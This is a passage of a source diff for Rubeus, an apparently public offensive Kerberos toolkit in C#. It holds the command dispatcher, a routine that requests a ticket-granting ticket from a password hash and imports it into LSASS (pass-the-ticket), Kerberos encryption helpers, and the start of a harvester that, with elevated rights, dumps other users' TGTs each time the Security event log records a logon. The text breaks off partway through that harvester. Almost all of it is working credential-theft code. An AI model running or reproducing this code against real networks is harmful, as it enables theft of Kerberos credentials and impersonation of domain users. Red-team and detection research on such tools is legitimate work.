if (arguments.ContainsKey("/service"))
|
||||||
|
{
|
||||||
|
service = arguments["/service"];
|
||||||
|
}
|
||||||
|
UInt32 luid = 0;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
luid = UInt32.Parse(arguments["/luid"]);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LSA.ListKerberosTicketData(luid, service);
|
||||||
|
}
|
||||||
|
else if (arguments.ContainsKey("/service"))
|
||||||
|
{
|
||||||
|
LSA.ListKerberosTicketData(0, arguments["/service"]);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
LSA.ListKerberosTicketData();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (arguments.ContainsKey("monitor"))
|
||||||
|
{
|
||||||
|
string targetUser = "";
|
||||||
|
int interval = 60;
|
||||||
|
if (arguments.ContainsKey("/filteruser"))
|
||||||
|
{
|
||||||
|
targetUser = arguments["/filteruser"];
|
||||||
|
}
|
||||||
|
if (arguments.ContainsKey("/interval"))
|
||||||
|
{
|
||||||
|
interval = Int32.Parse(arguments["/interval"]);
|
||||||
|
}
|
||||||
|
Harvest.Monitor4624(interval, targetUser);
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (arguments.ContainsKey("harvest"))
|
||||||
|
{
|
||||||
|
int intervalMinutes = 60;
|
||||||
|
if (arguments.ContainsKey("/interval"))
|
||||||
|
{
|
||||||
|
intervalMinutes = Int32.Parse(arguments["/interval"]);
|
||||||
|
}
|
||||||
|
Harvest.HarvestTGTs(intervalMinutes);
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (arguments.ContainsKey("describe"))
|
||||||
|
{
|
||||||
|
if (arguments.ContainsKey("/ticket"))
|
||||||
|
{
|
||||||
|
string kirbi64 = arguments["/ticket"];
|
||||||
|
|
||||||
|
if (Helpers.IsBase64String(kirbi64))
|
||||||
|
{
|
||||||
|
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||||
|
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||||
|
LSA.DisplayTicket(kirbi);
|
||||||
|
}
|
||||||
|
else if (File.Exists(kirbi64))
|
||||||
|
{
|
||||||
|
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||||
|
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||||
|
LSA.DisplayTicket(kirbi);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (arguments.ContainsKey("createnetonly"))
|
||||||
|
{
|
||||||
|
|
||||||
|
if (arguments.ContainsKey("/program"))
|
||||||
|
{
|
||||||
|
if (arguments.ContainsKey("/show"))
|
||||||
|
{
|
||||||
|
LSA.CreateProcessNetOnly(arguments["/program"], true);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
LSA.CreateProcessNetOnly(arguments["/program"]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] A /program needs to be supplied!\r\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
else {
|
||||||
|
Usage();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,36 @@
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
// General Information about an assembly is controlled through the following
|
||||||
|
// set of attributes. Change these attribute values to modify the information
|
||||||
|
// associated with an assembly.
|
||||||
|
[assembly: AssemblyTitle("Rubeus")]
|
||||||
|
[assembly: AssemblyDescription("")]
|
||||||
|
[assembly: AssemblyConfiguration("")]
|
||||||
|
[assembly: AssemblyCompany("")]
|
||||||
|
[assembly: AssemblyProduct("Rubeus")]
|
||||||
|
[assembly: AssemblyCopyright("Copyright © 2018")]
|
||||||
|
[assembly: AssemblyTrademark("")]
|
||||||
|
[assembly: AssemblyCulture("")]
|
||||||
|
|
||||||
|
// Setting ComVisible to false makes the types in this assembly not visible
|
||||||
|
// to COM components. If you need to access a type in this assembly from
|
||||||
|
// COM, set the ComVisible attribute to true on that type.
|
||||||
|
[assembly: ComVisible(false)]
|
||||||
|
|
||||||
|
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||||
|
[assembly: Guid("658c8b7f-3664-4a95-9572-a3e5871dfc06")]
|
||||||
|
|
||||||
|
// Version information for an assembly consists of the following four values:
|
||||||
|
//
|
||||||
|
// Major Version
|
||||||
|
// Minor Version
|
||||||
|
// Build Number
|
||||||
|
// Revision
|
||||||
|
//
|
||||||
|
// You can specify all the values or you can default the Build and Revision Numbers
|
||||||
|
// by using the '*' as shown below:
|
||||||
|
// [assembly: AssemblyVersion("1.0.*")]
|
||||||
|
[assembly: AssemblyVersion("1.0.0.0")]
|
||||||
|
[assembly: AssemblyFileVersion("1.0.0.0")]
|
|
@ -0,0 +1,93 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||||
|
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||||
|
<ProjectGuid>{658C8B7F-3664-4A95-9572-A3E5871DFC06}</ProjectGuid>
|
||||||
|
<OutputType>Exe</OutputType>
|
||||||
|
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||||
|
<RootNamespace>Rubeus</RootNamespace>
|
||||||
|
<AssemblyName>Rubeus</AssemblyName>
|
||||||
|
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
|
||||||
|
<FileAlignment>512</FileAlignment>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<DebugType>full</DebugType>
|
||||||
|
<Optimize>false</Optimize>
|
||||||
|
<OutputPath>bin\Debug\</OutputPath>
|
||||||
|
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugType>none</DebugType>
|
||||||
|
<Optimize>true</Optimize>
|
||||||
|
<OutputPath>bin\Release\</OutputPath>
|
||||||
|
<DefineConstants>TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="System" />
|
||||||
|
<Reference Include="System.Core" />
|
||||||
|
<Reference Include="System.DirectoryServices" />
|
||||||
|
<Reference Include="System.DirectoryServices.AccountManagement" />
|
||||||
|
<Reference Include="System.IdentityModel" />
|
||||||
|
<Reference Include="System.Xml.Linq" />
|
||||||
|
<Reference Include="System.Data.DataSetExtensions" />
|
||||||
|
<Reference Include="System.Data" />
|
||||||
|
<Reference Include="System.Xml" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="Asn1\AsnElt.cs" />
|
||||||
|
<Compile Include="Asn1\AsnException.cs" />
|
||||||
|
<Compile Include="Asn1\AsnIO.cs" />
|
||||||
|
<Compile Include="Asn1\AsnOID.cs" />
|
||||||
|
<Compile Include="lib\Ask.cs" />
|
||||||
|
<Compile Include="lib\Crypto.cs" />
|
||||||
|
<Compile Include="lib\Harvest.cs" />
|
||||||
|
<Compile Include="lib\Helpers.cs" />
|
||||||
|
<Compile Include="lib\Interop.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\AP_REQ.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\AS_REP.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\AS_REQ.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\Authenticator.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\Checksum.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\EncKDCRepPart.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\EncKrbCredPart.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\EncryptedData.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\EncryptionKey.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\KDC_REQ_BODY.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\KERB_PA_PAC_REQUEST.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\KrbCredInfo.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\KRB_CRED.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\KRB_ERROR.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\LastReq.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\PA_DATA.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\PA_ENC_TS_ENC.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\PA_FOR_USER.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\PrincipalName.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\TGS_REP.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\TGS_REQ.cs" />
|
||||||
|
<Compile Include="lib\krb_structures\Ticket.cs" />
|
||||||
|
<Compile Include="lib\LSA.cs" />
|
||||||
|
<Compile Include="lib\Networking.cs" />
|
||||||
|
<Compile Include="lib\Renew.cs" />
|
||||||
|
<Compile Include="lib\Roast.cs" />
|
||||||
|
<Compile Include="lib\S4U.cs" />
|
||||||
|
<Compile Include="Program.cs" />
|
||||||
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
|
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||||
|
Other similar extension points exist, see Microsoft.Common.targets.
|
||||||
|
<Target Name="BeforeBuild">
|
||||||
|
</Target>
|
||||||
|
<Target Name="AfterBuild">
|
||||||
|
</Target>
|
||||||
|
-->
|
||||||
|
</Project>
|
|
@ -0,0 +1,165 @@
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using Asn1;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Ask
|
||||||
|
{
|
||||||
|
public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Action: Ask TGT\r\n");
|
||||||
|
|
||||||
|
// grab the default DC if none was supplied
|
||||||
|
if (String.IsNullOrEmpty(domainController))
|
||||||
|
{
|
||||||
|
domainController = Networking.GetDCName();
|
||||||
|
if (String.IsNullOrEmpty(domainController))
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);
|
||||||
|
|
||||||
|
if (luid != 0)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[*] Target LUID : {0}", luid);
|
||||||
|
}
|
||||||
|
|
||||||
|
System.Net.IPAddress[] dcIP = System.Net.Dns.GetHostAddresses(domainController);
|
||||||
|
Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
|
||||||
|
|
||||||
|
byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);
|
||||||
|
|
||||||
|
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, reqBytes);
|
||||||
|
if (response == null)
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// decode the supplied bytes to an AsnElt object
|
||||||
|
// false == ignore trailing garbage
|
||||||
|
AsnElt responseAsn = AsnElt.Decode(response, false);
|
||||||
|
|
||||||
|
// check the response value
|
||||||
|
int responseTag = responseAsn.TagValue;
|
||||||
|
|
||||||
|
if (responseTag == 11)
|
||||||
|
{
|
||||||
|
Console.WriteLine("[+] TGT request successful!");
|
||||||
|
|
||||||
|
// parse the response to an AS-REP
|
||||||
|
AS_REP rep = new AS_REP(responseAsn);
|
||||||
|
|
||||||
|
// convert the key string to bytes
|
||||||
|
byte[] key = Helpers.StringToByteArray(keyString);
|
||||||
|
|
||||||
|
// decrypt the enc_part containing the session key/etc.
|
||||||
|
// TODO: error checking on the decryption "failing"...
|
||||||
|
byte[] outBytes;
|
||||||
|
|
||||||
|
if (etype == Interop.KERB_ETYPE.rc4_hmac)
|
||||||
|
{
|
||||||
|
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||||
|
outBytes = Crypto.KerberosDecrypt(etype, 8, key, rep.enc_part.cipher);
|
||||||
|
}
|
||||||
|
else if(etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
|
||||||
|
{
|
||||||
|
//https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L57
|
||||||
|
outBytes = Crypto.KerberosDecrypt(etype, 3, key, rep.enc_part.cipher);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
AsnElt ae = AsnElt.Decode(outBytes, false);
|
||||||
|
|
||||||
|
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
|
||||||
|
|
||||||
|
// now build the final KRB-CRED structure
|
||||||
|
KRB_CRED cred = new KRB_CRED();
|
||||||
|
|
||||||
|
// add the ticket
|
||||||
|
cred.tickets.Add(rep.ticket);
|
||||||
|
|
||||||
|
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
|
||||||
|
|
||||||
|
KrbCredInfo info = new KrbCredInfo();
|
||||||
|
|
||||||
|
// [0] add in the session key
|
||||||
|
info.key.keytype = encRepPart.key.keytype;
|
||||||
|
info.key.keyvalue = encRepPart.key.keyvalue;
|
||||||
|
|
||||||
|
// [1] prealm (domain)
|
||||||
|
info.prealm = encRepPart.realm;
|
||||||
|
|
||||||
|
// [2] pname (user)
|
||||||
|
info.pname.name_type = rep.cname.name_type;
|
||||||
|
info.pname.name_string = rep.cname.name_string;
|
||||||
|
|
||||||
|
// [3] flags
|
||||||
|
info.flags = encRepPart.flags;
|
||||||
|
|
||||||
|
// [4] authtime (not required)
|
||||||
|
|
||||||
|
// [5] starttime
|
||||||
|
info.starttime = encRepPart.starttime;
|
||||||
|
|
||||||
|
// [6] endtime
|
||||||
|
info.endtime = encRepPart.endtime;
|
||||||
|
|
||||||
|
// [7] renew-till
|
||||||
|
info.renew_till = encRepPart.renew_till;
|
||||||
|
|
||||||
|
// [8] srealm
|
||||||
|
info.srealm = encRepPart.realm;
|
||||||
|
|
||||||
|
// [9] sname
|
||||||
|
info.sname.name_type = encRepPart.sname.name_type;
|
||||||
|
info.sname.name_string = encRepPart.sname.name_string;
|
||||||
|
|
||||||
|
// add the ticket_info into the cred object
|
||||||
|
cred.enc_part.ticket_info.Add(info);
|
||||||
|
|
||||||
|
byte[] kirbiBytes = cred.Encode().Encode();
|
||||||
|
|
||||||
|
string kirbiString = Convert.ToBase64String(kirbiBytes);
|
||||||
|
|
||||||
|
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
|
||||||
|
|
||||||
|
// display the .kirbi base64, columns of 80 chararacters
|
||||||
|
foreach (string line in Helpers.Split(kirbiString, 80))
|
||||||
|
{
|
||||||
|
Console.WriteLine(" {0}", line);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(ptt || (luid != 0))
|
||||||
|
{
|
||||||
|
// pass-the-ticket -> import into LSASS
|
||||||
|
LSA.ImportTicket(kirbiBytes, luid);
|
||||||
|
}
|
||||||
|
|
||||||
|
return kirbiBytes;
|
||||||
|
}
|
||||||
|
else if (responseTag == 30)
|
||||||
|
{
|
||||||
|
// parse the response to an KRB-ERROR
|
||||||
|
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||||
|
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,125 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.ComponentModel;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Crypto
|
||||||
|
{
|
||||||
|
// Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
|
||||||
|
public static byte[] KerberosChecksum(byte[] key, byte[] data)
|
||||||
|
{
|
||||||
|
Interop.KERB_CHECKSUM pCheckSum;
|
||||||
|
IntPtr pCheckSumPtr;
|
||||||
|
int status = Interop.CDLocateCheckSum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5, out pCheckSumPtr);
|
||||||
|
pCheckSum = (Interop.KERB_CHECKSUM)Marshal.PtrToStructure(pCheckSumPtr, typeof(Interop.KERB_CHECKSUM));
|
||||||
|
if (status != 0)
|
||||||
|
{
|
||||||
|
throw new Win32Exception(status, "CDLocateCheckSum failed");
|
||||||
|
}
|
||||||
|
|
||||||
|
IntPtr Context;
|
||||||
|
Interop.KERB_CHECKSUM_InitializeEx pCheckSumInitializeEx = (Interop.KERB_CHECKSUM_InitializeEx)Marshal.GetDelegateForFunctionPointer(pCheckSum.InitializeEx, typeof(Interop.KERB_CHECKSUM_InitializeEx));
|
||||||
|
Interop.KERB_CHECKSUM_Sum pCheckSumSum = (Interop.KERB_CHECKSUM_Sum)Marshal.GetDelegateForFunctionPointer(pCheckSum.Sum, typeof(Interop.KERB_CHECKSUM_Sum));
|
||||||
|
Interop.KERB_CHECKSUM_Finalize pCheckSumFinalize = (Interop.KERB_CHECKSUM_Finalize)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finalize, typeof(Interop.KERB_CHECKSUM_Finalize));
|
||||||
|
Interop.KERB_CHECKSUM_Finish pCheckSumFinish = (Interop.KERB_CHECKSUM_Finish)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finish, typeof(Interop.KERB_CHECKSUM_Finish));
|
||||||
|
|
||||||
|
// initialize the checksum
|
||||||
|
// KERB_NON_KERB_CKSUM_SALT = 17
|
||||||
|
int status2 = pCheckSumInitializeEx(key, key.Length, 17, out Context);
|
||||||
|
if (status2 != 0)
|
||||||
|
throw new Win32Exception(status2);
|
||||||
|
|
||||||
|
// the output buffer for the checksum data
|
||||||
|
byte[] checksumSrv = new byte[pCheckSum.Size];
|
||||||
|
|
||||||
|
// actually checksum all the supplied data
|
||||||
|
pCheckSumSum(Context, data.Length, data);
|
||||||
|
|
||||||
|
// finish everything up
|
||||||
|
pCheckSumFinalize(Context, checksumSrv);
|
||||||
|
pCheckSumFinish(ref Context);
|
||||||
|
|
||||||
|
return checksumSrv;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
|
||||||
|
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2235-L2262
|
||||||
|
public static byte[] KerberosDecrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data)
|
||||||
|
{
|
||||||
|
Interop.KERB_ECRYPT pCSystem;
|
||||||
|
IntPtr pCSystemPtr;
|
||||||
|
|
||||||
|
// locate the crypto system
|
||||||
|
int status = Interop.CDLocateCSystem(eType, out pCSystemPtr);
|
||||||
|
pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));
|
||||||
|
if (status != 0)
|
||||||
|
throw new Win32Exception(status, "Error on CDLocateCSystem");
|
||||||
|
|
||||||
|
// initialize everything
|
||||||
|
IntPtr pContext;
|
||||||
|
Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize));
|
||||||
|
Interop.KERB_ECRYPT_Decrypt pCSystemDecrypt = (Interop.KERB_ECRYPT_Decrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Decrypt, typeof(Interop.KERB_ECRYPT_Decrypt));
|
||||||
|
Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish));
|
||||||
|
status = pCSystemInitialize(key, key.Length, keyUsage, out pContext);
|
||||||
|
if (status != 0)
|
||||||
|
throw new Win32Exception(status);
|
||||||
|
|
||||||
|
int outputSize = data.Length;
|
||||||
|
if (data.Length % pCSystem.BlockSize != 0)
|
||||||
|
outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize);
|
||||||
|
|
||||||
|
string algName = Marshal.PtrToStringAuto(pCSystem.AlgName);
|
||||||
|
|
||||||
|
outputSize += pCSystem.Size;
|
||||||
|
byte[] output = new byte[outputSize];
|
||||||
|
|
||||||
|
// actually perform the decryption
|
||||||
|
status = pCSystemDecrypt(pContext, data, data.Length, output, ref outputSize);
|
||||||
|
pCSystemFinish(ref pContext);
|
||||||
|
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin"
|
||||||
|
// https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2235-L2262
|
||||||
|
public static byte[] KerberosEncrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data)
|
||||||
|
{
|
||||||
|
Interop.KERB_ECRYPT pCSystem;
|
||||||
|
IntPtr pCSystemPtr;
|
||||||
|
|
||||||
|
// locate the crypto system
|
||||||
|
int status = Interop.CDLocateCSystem(eType, out pCSystemPtr);
|
||||||
|
pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT));
|
||||||
|
if (status != 0)
|
||||||
|
throw new Win32Exception(status, "Error on CDLocateCSystem");
|
||||||
|
|
||||||
|
// initialize everything
|
||||||
|
IntPtr pContext;
|
||||||
|
Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize));
|
||||||
|
Interop.KERB_ECRYPT_Encrypt pCSystemEncrypt = (Interop.KERB_ECRYPT_Encrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Encrypt, typeof(Interop.KERB_ECRYPT_Encrypt));
|
||||||
|
Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish));
|
||||||
|
status = pCSystemInitialize(key, key.Length, keyUsage, out pContext);
|
||||||
|
if (status != 0)
|
||||||
|
throw new Win32Exception(status);
|
||||||
|
|
||||||
|
int outputSize = data.Length;
|
||||||
|
if (data.Length % pCSystem.BlockSize != 0)
|
||||||
|
outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize);
|
||||||
|
|
||||||
|
string algName = Marshal.PtrToStringAuto(pCSystem.AlgName);
|
||||||
|
|
||||||
|
outputSize += pCSystem.Size;
|
||||||
|
byte[] output = new byte[outputSize];
|
||||||
|
|
||||||
|
// actually perform the decryption
|
||||||
|
status = pCSystemEncrypt(pContext, data, data.Length, output, ref outputSize);
|
||||||
|
pCSystemFinish(ref pContext);
|
||||||
|
|
||||||
|
return output;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,243 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Diagnostics.Eventing.Reader;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class Harvest
|
||||||
|
{
|
||||||
|
public static void HarvestTGTs(int intervalMinutes)
|
||||||
|
{
|
||||||
|
// First extract all TGTs then monitor the event log (indefinitely) for 4624 logon events
|
||||||
|
// every 'intervalMinutes' and dumps TGTs JUST for the specific logon IDs (LUIDs) based on the event log.
|
||||||
|
// On each interval, renew any tickets that are about to expire and refresh the cache.
|
||||||
|
// End result: every "intervalMinutes" a set of currently valid TGT .kirbi files are dumped to console
|
||||||
|
|
||||||
|
if (!Helpers.IsHighIntegrity())
|
||||||
|
{
|
||||||
|
Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Console.WriteLine("[*] Action: TGT Harvesting (w/ auto-renewal)");
|
||||||
|
Console.WriteLine("\r\n[*] Monitoring every {0} minutes for 4624 logon events\r\n", intervalMinutes);
|
||||||
|
|
||||||
|
// used to keep track of LUIDs we've already dumped
|
||||||
|
var seenLUIDs = new Dictionary<UInt32, bool>();
|
||||||
|
|
||||||
|
// get the current set of TGTs
|
||||||
|
List<KRB_CRED> creds = LSA.ExtractTGTs();
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
// check for 4624 logon events in the past "intervalSeconds"
|
||||||
|
string queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalMinutes * 60 * 1000);
|
||||||
|
EventLogQuery eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
|
||||||
|
EventLogReader logReader = new EventLogReader(eventsQuery);
|
||||||
|
|
||||||
|
for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
|
||||||
|
{
|
||||||
|
// if there's an event, extract out the logon ID (LUID) for the session
|
||||||
|
string eventMessage = eventInstance.FormatDescription();
|
||||||
|
DateTime eventTime = (DateTime)eventInstance.TimeCreated;
|
||||||
|
|
||||||
|
int startIndex = eventMessage.IndexOf("New Logon:");
|
||||||
|
string message = eventMessage.Substring(startIndex);
|
||||||
|
|
||||||
|
// extract out relevant information from the event log message
|
||||||
|
var acctNameExpression = new Regex(string.Format(@"\n.*Account Name:\s*(?<name>.+?)\r\n"));
|
||||||
|
Match acctNameMatch = acctNameExpression.Match(message);
|
||||||
|
var acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?<domain>.+?)\r\n"));
|
||||||
|
Match acctDomainMatch = acctDomainExpression.Match(message);
|
||||||
|
|
||||||
|
if (acctNameMatch.Success)
|
||||||
|
{
|
||||||
|
var srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?<address>.+?)\r\n"));
|
||||||
|
Match srcNetworkMatch = srcNetworkExpression.Match(message);
|
||||||
|
|
||||||
|
string logonName = acctNameMatch.Groups["name"].Value;
|
||||||
|
string accountDomain = "";
|
||||||
|
string srcNetworkAddress = "";
|
||||||
|
try
|
||||||
|
{
|
||||||
|
accountDomain = acctDomainMatch.Groups["domain"].Value;
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
try
|
||||||
|
{
|
||||||
|
srcNetworkAddress = srcNetworkMatch.Groups["address"].Value;
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
// ignore SYSTEM logons and other defaults
|
||||||
|
if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase))
|
||||||
|
{
|
||||||
|
